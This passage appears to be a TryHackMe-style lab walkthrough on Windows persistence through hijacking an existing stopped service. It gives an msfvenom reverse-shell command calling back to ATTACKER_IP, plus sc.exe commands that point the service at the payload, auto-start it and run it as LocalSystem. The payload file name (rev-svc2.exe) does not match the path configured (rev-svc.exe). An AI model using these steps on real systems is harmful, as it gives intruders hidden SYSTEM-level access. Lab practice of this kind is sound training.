While creating new services for persistence works quite well, the blue team may monitor new service creation across the network. We may want to reuse an existing service instead of creating one to avoid detection. Usually, any disabled service will be a good candidate, as it could be altered without the user noticing it.

You can get a list of available services using the following command:

sc.exe query state=all

You should be able to find a stopped service called THMService3. To query the service's configuration, you can use the following command:

sc.exe qc THMService3

There are three things we care about when using a service for persistence:

• The executable (BINARY_PATH_NAME) should point to our payload.
• The service START_TYPE should be automatic so that the payload runs without user interaction.
• The SERVICE_START_NAME, which is the account under which the service will run, should preferably be set to LocalSystem to gain SYSTEM privileges.

Let's start by creating a new reverse shell with msfvenom:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=5558 -f exe-service -o rev-svc2.exe

To reconfigure "THMservice3" parameters, we can use the following command:

sc.exe config THMservice3 binPath= "C:\Windows\rev-svc.exe" start= auto obj= "LocalSystem"

You can then query the service's configuration again to check if all went as expected:

sc.exe qc THMservice3